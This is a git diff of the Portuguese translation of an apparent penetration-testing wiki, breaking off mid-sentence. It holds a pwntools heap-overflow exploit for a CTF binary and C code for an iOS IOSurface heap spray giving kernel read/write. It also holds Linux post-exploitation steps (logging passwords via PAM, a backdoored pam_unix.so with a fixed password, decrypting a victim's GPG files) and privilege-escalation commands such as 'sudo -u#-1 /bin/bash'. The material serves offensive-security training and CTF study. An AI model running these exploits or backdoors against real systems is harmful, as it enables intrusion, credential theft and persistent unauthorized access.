esperado. +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': +context.clear(arch='aarch64') +else: +context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): +m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) +if not m: +log.failure("Couldn't parse leak") +sys.exit(1) +return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): +# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] +padding = b'A' * 128 +if extra_pad: +padding += b'B' * extra_pad +# Add the win address to overwrite the function pointer +payload = padding + p64(win_addr) +return payload + +def main(): +# On macOS, we need to disable the Nano zone for adjacent allocations +import os +env = os.environ.copy() +env['MallocNanoZone'] = '0' + +# The correct padding with MallocNanoZone=0 is 432 bytes +# This makes the total distance 560 bytes (128 buffer + 432 padding) +# Try the known working value first, then alternatives in case of heap variation +candidates = [ +432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) +424, # Try slightly less in case of alignment differences +440, # Try slightly more +416, # 16 bytes less +448, # 16 bytes more +0, # Direct adjacency (unlikely but worth trying) +] + +log.info("Starting heap overflow exploit for macOS...") + +for extra in candidates: +log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") +p = process(BIN, env=env) + +# Read leak line +leak_line = p.recvline() +win_addr = parse_leak(leak_line) +log.success(f"win() @ {hex(win_addr)}") + +# Skip prompt lines +p.recvuntil(b"Enter payload length") +p.recvline() + +# Build and send payload +payload = build_payload(win_addr, extra_pad=extra) +total_len = len(payload) + +log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + +# Send length and payload +p.sendline(str(total_len).encode()) +p.send(payload) + +# Check if we overwrote the function pointer successfully +try: +output = p.recvuntil(b"Calling h->cb()", timeout=0.5) +p.recvline(timeout=0.5) # Skip the "..." part + +# Check if we hit win() +response = p.recvline(timeout=0.5) +if b"win() reached" in response: +log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") +log.success("Shell spawned, entering interactive mode...") +p.interactive() +return +elif b"safe_cb() called" in response: +log.info(f"Failed with extra_pad={extra}, safe_cb was called") +else: +log.info(f"Failed with extra_pad={extra}, unexpected response") +except: +log.info(f"Failed with extra_pad={extra}, likely crashed") + +p.close() + +log.failure("All padding attempts failed. The heap layout might be different.") +log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': +main() +``` +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md new file mode 100644 index 000000000..765cc3432 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -0,0 +1,215 @@ +# iOS Physical Use-After-Free via IOSurface + +{{#include ../../banners/hacktricks-training.md}} + + +## Physical use-after-free + +Este é um resumo do post em [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); além disso, mais informações sobre exploit que usa esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) + +### Gerenciamento de memória no XNU + +O espaço de endereçamento de memória virtual para processos de usuário no iOS vai de **0x0 até 0x8000000000**. No entanto, esses endereços não mapeiam diretamente a memória física. Em vez disso, o **kernel** usa **tabelas de páginas** para traduzir endereços virtuais em endereços **físicos** reais. + +#### Níveis das tabelas de páginas no iOS + +As tabelas de páginas são organizadas hierarquicamente em três níveis: + +1. **L1 Page Table (Level 1)**: +* Cada entrada aqui representa uma grande faixa de memória virtual. +* Ela cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual. +2. **L2 Page Table (Level 2)**: +* Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB). +* Uma entrada L1 pode apontar para uma tabela L2 se não puder mapear toda a região por si só. +3. **L3 Page Table (Level 3)**: +* Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de **4 KB**. +* Uma entrada L2 pode apontar para uma tabela L3 se for necessário controle mais granular. + +#### Mapeamento de virtual para físico + +* **Mapeamento direto (Block Mapping)**: +* Algumas entradas em uma tabela de páginas mapeiam diretamente uma faixa de endereços virtuais para uma faixa contígua de endereços físicos (como um atalho). +* **Ponteiro para tabela de páginas filha**: +* Se for necessário controle mais fino, uma entrada em um nível (por exemplo, L1) pode apontar para uma **tabela de páginas filha** no próximo nível (por exemplo, L2). + +#### Exemplo: Mapeando um endereço virtual + +Suponha que você tente acessar o endereço virtual **0x1000000000**: + +1. **L1 Table**: +* O kernel verifica a entrada da tabela L1 correspondente a esse endereço virtual. Se ela tiver um **ponteiro para uma tabela L2**, ele irá para essa tabela L2. +2. **L2 Table**: +* O kernel verifica a tabela L2 para um mapeamento mais detalhado. Se essa entrada apontar para uma **tabela L3**, ele prossegue para lá. +3. **L3 Table**: +* O kernel consulta a entrada final L3, que aponta para o **endereço físico** da página de memória real. + +#### Exemplo de mapeamento de endereço + +Se você escrever o endereço físico **0x800004000** no primeiro índice da tabela L2, então: + +* Endereços virtuais de **0x1000000000** até **0x1002000000** mapeiam para endereços físicos de **0x800004000** até **0x802004000**. +* Isto é um **mapeamento de bloco** no nível L2. + +Alternativamente, se a entrada L2 apontar para uma tabela L3: + +* Cada página de 4 KB na faixa virtual **0x1000000000 -> 0x1002000000** seria mapeada por entradas individuais na tabela L3. + +### Physical use-after-free + +Um **physical use-after-free** (UAF) ocorre quando: + +1. Um processo **aloca** alguma memória como **legível e gravável**. +2. As **tabelas de páginas** são atualizadas para mapear essa memória para um endereço físico específico que o processo pode acessar. +3. O processo **desaloca** (libera) a memória. +4. Porém, devido a um **bug**, o kernel **esquece de remover o mapeamento** das tabelas de páginas, mesmo marcando a memória física correspondente como livre. +5. O kernel pode então **realocar essa memória física "liberada"** para outros fins, como **dados do kernel**. +6. Como o mapeamento não foi removido, o processo ainda pode **ler e escrever** nessa memória física. + +Isso significa que o processo pode acessar **páginas da memória do kernel**, que podem conter dados sensíveis ou estruturas, potencialmente permitindo que um atacante **manipule a memória do kernel**. + +### IOSurface Heap Spray + +Como o atacante não controla quais páginas específicas do kernel serão alocadas para a memória liberada, ele usa uma técnica chamada **heap spray**: + +1. O atacante **cria um grande número de objetos IOSurface** na memória do kernel. +2. Cada objeto IOSurface contém um **valor mágico** em um de seus campos, tornando-o fácil de identificar. +3. Eles **escaneiam as páginas liberadas** para ver se algum desses objetos IOSurface caiu em uma página liberada. +4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e escrever** na memória do kernel. + +Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) + +> [!TIP] +> Esteja ciente de que dispositivos iOS 16+ (A12+) trazem mitigações de hardware (como PPL ou SPTM) que tornam técnicas de physical UAF muito menos viáveis. +> PPL aplica proteções MMU estritas em páginas relacionadas a code signing, entitlements e dados sensíveis do kernel, então, mesmo que uma página seja reutilizada, escritas do userland ou de código kernel comprometido em páginas protegidas por PPL são bloqueadas. +> Secure Page Table Monitor (SPTM) estende o PPL endurecendo as próprias atualizações das tabelas de páginas. Ele garante que mesmo código privilegiado do kernel não possa remapear silenciosamente páginas liberadas ou adulterar mapeamentos sem passar por verificações seguras. +> KTRR (Kernel Text Read-Only Region) bloqueia a seção de código do kernel como somente leitura após o boot. Isso impede quaisquer modificações em tempo de execução ao código do kernel, fechando um grande vetor de ataque que exploits de physical UAF frequentemente exploram. +> Além disso, alocações `IOSurface` são menos previsíveis e mais difíceis de mapear em regiões acessíveis pelo usuário, o que torna o truque de “escaneamento por valor mágico” muito menos confiável. E `IOSurface` agora é protegido por entitlements e restrições de sandbox. + +### Processo passo a passo do Heap Spray + +1. **Spray IOSurface Objects**: O atacante cria muitos objetos IOSurface com um identificador especial ("valor mágico"). +2. **Scan Freed Pages**: Eles verificam se algum dos objetos foi alocado em uma página liberada. +3. **Read/Write Kernel Memory**: Manipulando campos no objeto IOSurface, obtêm a capacidade de realizar **reads e writes arbitrários** na memória do kernel. Isso permite: +* Usar um campo para **ler qualquer valor 32-bit** na memória do kernel. +* Usar outro campo para **escrever valores 64-bit**, alcançando uma primitiva estável de **kernel read/write**. + +Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +Procurar por objetos **`IOSurface`** em uma página física liberada: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### Alcançando leitura/escrita no kernel com IOSurface + +Após obter controle sobre um objeto IOSurface na memória do kernel (mapeado para uma página física liberada acessível a partir do userspace), podemos usá-lo para **operações arbitrárias de leitura e escrita no kernel**. + +**Key Fields in IOSurface** + +O objeto IOSurface tem dois campos cruciais: + +1. **Use Count Pointer**: Permite uma **leitura de 32 bits**. +2. **Indexed Timestamp Pointer**: Permite uma **escrita de 64 bits**. + +Ao sobrescrever esses ponteiros, fazemos com que apontem para endereços arbitrários na memória do kernel, permitindo operações de leitura e escrita. + +#### Leitura de 32 bits no kernel + +Para realizar uma leitura: + +1. Sobrescreva o **use count pointer** para apontar para o endereço alvo menos um deslocamento de 0x14 bytes. +2. Use o método `get_use_count` para ler o valor nesse endereço. +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### 64-Bit Kernel Write + +Para realizar uma escrita: + +1. Sobrescreva o **indexed timestamp pointer** com o endereço de destino. +2. Use o método `set_indexed_timestamp` para escrever um valor de 64 bits. +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### Exploit Flow Recap + +1. **Trigger Physical Use-After-Free**: páginas liberadas estão disponíveis para reutilização. +2. **Spray IOSurface Objects**: aloque muitos objetos IOSurface com um único "magic value" na kernel memory. +3. **Identify Accessible IOSurface**: localize um IOSurface em uma página liberada que você controla. +4. **Abuse Use-After-Free**: modifique ponteiros no objeto IOSurface para habilitar **kernel read/write** arbitrário via métodos IOSurface. + +Com essas primitivas, o exploit fornece **32-bit reads** controladas e **64-bit writes** para kernel memory. Passos adicionais do jailbreak podem envolver primitivas de read/write mais estáveis, que podem requerer contornar proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos). + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 98374401a..3063eb92a 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -4,7 +4,7 @@ ## Sniffing Logon Passwords with PAM -Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM confira: +Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM, confira: {{#ref}} @@ -13,13 +13,13 @@ pam-pluggable-authentication-modules.md **For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Isto é apenas um resumo: -**Technique Overview:** -Pluggable Authentication Modules (PAM) oferecem flexibilidade no gerenciamento de autenticação em sistemas baseados em Unix. Eles podem reforçar a segurança ao customizar processos de login, mas também apresentam riscos se usados indevidamente. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, junto com estratégias de mitigação. +**Visão Geral da Técnica:** +Pluggable Authentication Modules (PAM) oferecem flexibilidade no gerenciamento de autenticação em sistemas baseados em Unix. Eles podem aumentar a segurança ao customizar processos de login, mas também representam riscos se usados de forma indevida. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, juntamente com estratégias de mitigação. -**Capturing Credentials:** +**Captura de Credenciais:** -- Um script bash chamado `toomanysecrets.sh` é criado para registrar tentativas de login, capturando a data, o nome de usuário (`$PAM_USER`), a senha (via stdin) e o IP do host remoto (`$PAM_RHOST`) em `/var/log/toomanysecrets.log`. -- O script é tornado executável e integrado à configuração do PAM (`common-auth`) usando o módulo `pam_exec.so` com opções para rodar silenciosamente e expor o token de autenticação ao script. +- Um script bash chamado `toomanysecrets.sh` é criado para registrar tentativas de login, capturando a data, nome de usuário (`$PAM_USER`), senha (via stdin), e IP do host remoto (`$PAM_RHOST`) em `/var/log/toomanysecrets.log`. +- O script é tornado executável e integrado à configuração do PAM (`common-auth`) usando o módulo `pam_exec.so` com opções para executar silenciosamente e expor o token de autenticação ao script. - A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais de forma discreta. ```bash #!/bin/sh @@ -32,30 +32,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**Para mais detalhes, consulte o [artigo original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Isto é apenas um resumo: +**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Isto é apenas um resumo: -O Pluggable Authentication Module (PAM) é um sistema usado no Linux para autenticação de usuários. Opera com três conceitos principais: **username**, **password** e **service**. Os arquivos de configuração para cada serviço estão localizados no diretório `/etc/pam.d/`, onde bibliotecas compartilhadas lidam com a autenticação. +The Pluggable Authentication Module (PAM) é um sistema usado under Linux para user authentication. It operates on three main concepts: **username**, **password**, and **service**. Configuration files for each service are located in the `/etc/pam.d/` directory, where shared libraries handle authentication. -**Objetivo**: Modificar o PAM para permitir autenticação com uma senha específica, contornando a senha real do usuário. Isso foca particularmente na biblioteca compartilhada `pam_unix.so` usada pelo arquivo `common-auth`, que é incluído por quase todos os serviços para verificação de senha. +**Objetivo**: Modificar o PAM para permitir autenticação com uma senha específica, contornando a senha real do usuário. Isso é particularmente focado na biblioteca compartilhada `pam_unix.so` usada pelo arquivo `common-auth`, que é incluído por quase todos os serviços para verificação de senha. ### Steps for Modifying `pam_unix.so`: -1. **Localize a Diretiva de Autenticação** no arquivo `common-auth`: -- A linha responsável por checar a senha do usuário chama `pam_unix.so`. -2. **Modifique o Código Fonte**: -- Adicione uma instrução condicional no arquivo fonte `pam_unix_auth.c` que permita acesso se uma senha pré-definida for usada; caso contrário, prossiga com o processo normal de autenticação. -3. **Recompile e Substitua** a biblioteca `pam_unix.so` modificada no diretório apropriado. -4. **Teste**: -- O acesso é concedido em vários serviços (login, ssh, sudo, su, screensaver) com a senha pré-definida, enquanto os processos normais de autenticação permanecem inalterados. +1. **Locate the Authentication Directive** in the `common-auth` file: +- The line responsible for checking a user's password calls `pam_unix.so`. +2. **Modify Source Code**: +- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process. +3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. +4. **Testing**: +- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected. > [!TIP] -> Você pode automatizar esse processo com [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +> Você pode automatizar este processo com [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) -## Decrypting GPG loot via homedir relocation +## Descriptografando GPG loot via homedir relocation -Se você encontrar um arquivo `.gpg` criptografado e a pasta `~/.gnupg` do usuário (pubring, private-keys, trustdb) mas não conseguir descriptografar devido a permissões/bloqueios do homedir do GnuPG, copie o keyring para um local gravável e use-o como seu GPG home. +Se você encontrar um arquivo `.gpg` criptografado e a pasta do usuário `~/.gnupg` (pubring, private-keys, trustdb) mas não conseguir descriptografar devido a permissões/travas do homedir do GnuPG, copie o keyring para um local gravável e use-o como seu GPG home. -Erros típicos que você verá sem isso: "unsafe ownership on homedir", "failed to create temporary file", ou "decryption failed: No secret key" (porque o GPG não consegue ler/escrever o homedir original). +Erros típicos que você verá sem isso: "unsafe ownership on homedir", "failed to create temporary file", ou "decryption failed: No secret key" (porque o GPG can’t read/write o homedir original). Fluxo de trabalho: ```bash @@ -70,8 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg # or gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg ``` -Se o material da chave secreta estiver presente em `private-keys-v1.d`, o GPG irá desbloquear e descriptografar sem solicitar a passphrase (ou solicitará se a chave estiver protegida). - +Se o material da chave secreta estiver presente em `private-keys-v1.d`, o GPG irá desbloquear e descriptografar sem solicitar uma passphrase (ou solicitará se a chave estiver protegida). ## Referências diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index eed490a23..f2f0e5204 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,19 +6,19 @@ ### Informações do SO -Vamos começar a obter informações sobre o SO em execução. +Vamos começar a obter algumas informações sobre o SO em execução. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### Caminho -Se você **tiver permissões de escrita em qualquer diretório dentro da variável `PATH`** pode ser capaz de hijack some libraries or binaries: +Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`**, pode ser capaz de hijack some libraries or binaries: ```bash echo $PATH ``` -### Info do ambiente +### Informações do ambiente Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ```bash @@ -32,20 +32,20 @@ cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Você pode encontrar uma boa lista de kernels vulneráveis e alguns já **compiled exploits** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Você pode encontrar uma boa lista de kernels vulneráveis e alguns já **compiled exploits** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Outros sites onde você pode encontrar alguns **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Para extrair todas as versões de kernel vulneráveis desse site você pode fazer: +Para extrair todas as versões do kernel vulneráveis desse site você pode fazer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Ferramentas que podem ajudar a procurar kernel exploits são: +Ferramentas que podem ajudar a procurar por kernel exploits são: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, apenas verifica exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, somente verifica exploits para kernel 2.x) -Sempre **pesquise a versão do kernel no Google**, talvez a sua versão do kernel esteja mencionada em algum kernel exploit e assim você terá certeza de que esse exploit é válido. +Sempre **search the kernel version in Google**, talvez sua versão do kernel esteja escrita em algum kernel exploit e assim você terá certeza de que esse exploit é válido. ### CVE-2016-5195 (DirtyCow) @@ -57,25 +57,25 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Versão do sudo +### Versão do Sudo -Com base nas versões vulneráveis do sudo que aparecem em: +Com base nas versões vulneráveis do Sudo que aparecem em: ```bash searchsploit sudo ``` -Você pode verificar se a versão do sudo é vulnerável usando este grep. +Você pode verificar se a versão do sudo está vulnerável usando este grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` #### sudo < v1.28 -Por @sickrov +De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: falha na verificação de assinatura +### Dmesg: verificação da assinatura falhou -Consulte **smasher2 box of HTB** para um **exemplo** de como esta vuln pode ser explorada +Veja **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se você estiver dentro de um docker container, pode tentar escapar dele: +Se você estiver dentro de um docker container, você pode tentar escapar dele: + {{#ref}} docker-security/ @@ -131,7 +132,7 @@ docker-security/ ## Drives -Verifique **o que está montado e desmontado**, onde e por quê. Se algo estiver desmontado, você pode tentar montá-lo e verificar por informações privadas +Verifique **what is mounted and unmounted**, onde e por quê. Se algo estiver unmounted, você pode tentar montá-lo e verificar por informações privadas ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumerar binários úteis +Enumere binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Além disso, verifique se **any compiler is installed**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante). +Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software Vulnerável Instalado -Verifique a **versão dos pacotes e serviços instalados**. Talvez exista alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalating privileges…\ -Recomenda-se verificar manualmente a versão do software instalado mais suspeito. +Verifique a **versão dos pacotes e serviços instalados**. Pode haver alguma versão antiga do Nagios (por exemplo) que poderia ser explorada para escalating privileges…\ +Recomenda-se verificar manualmente a versão dos softwares instalados mais suspeitos. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se há software instalado desatualizado e vulnerável na máquina. +Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se há software desatualizado e vulnerável instalado na máquina. -> [!NOTE] > _Observe que esses comandos irão mostrar muitas informações que na maior parte serão inúteis; portanto, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ +> [!NOTE] > _Observe que esses comandos mostrarão muita informação que na maior parte será inútil, portanto é recomendável usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ -## Processes +## Processos -Observe quais **processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado por root?) +Observe **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado por root?) ```bash ps aux ps -ef top -n 1 ``` -Sempre verifique possíveis [**electron/cef/chromium debuggers** em execução — você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` na linha de comando do processo.\ -Também **verifique seus privilégios sobre os binários dos processos**, talvez você consiga sobrescrever algum. +Sempre verifique se há [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` dentro da linha de comando do processo.\ +Também **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever algum. ### Monitoramento de processos -Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados com frequência ou quando um conjunto de requisitos é atendido. +Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis que são executados com frequência ou quando um conjunto de requisitos é atendido. ### Memória de processos -Alguns serviços de um servidor armazenam **credenciais em texto claro na memória**.\ -Normalmente você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários; portanto, isso geralmente é mais útil quando você já é root e quer descobrir mais credenciais.\ -No entanto, lembre-se de que **como usuário comum você pode ler a memória dos processos que possui**. +Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\ +Normalmente você precisará de **root privileges** para ler a memória de processos que pertencem a outros usuários, portanto isto geralmente é mais útil quando você já é root e quer descobrir mais credenciais.\ +No entanto, lembre-se que **como um usuário comum você pode ler a memória dos processos que possui**. > [!WARNING] -> Observe que hoje em dia a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode dumpar outros processos que pertencem ao seu usuário sem privilégios. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> O arquivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla a acessibilidade do ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, contanto que tenham o mesmo uid. Esta é a forma clássica de funcionamento do ptrace. -> - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado. -> - **kernel.yama.ptrace_scope = 2**: somente o administrador pode usar ptrace, pois requer a capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário reiniciar para habilitar ptrace novamente. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Se você tiver acesso à memória de um serviço FTP (por exemplo) você poderia obter o Heap e buscar credenciais dentro dele. +Se você tiver acesso à memória de um serviço FTP (por exemplo) você pode obter o Heap e procurar dentro dele pelas suas credenciais. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### Script do GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um determinado ID de processo, **maps mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse 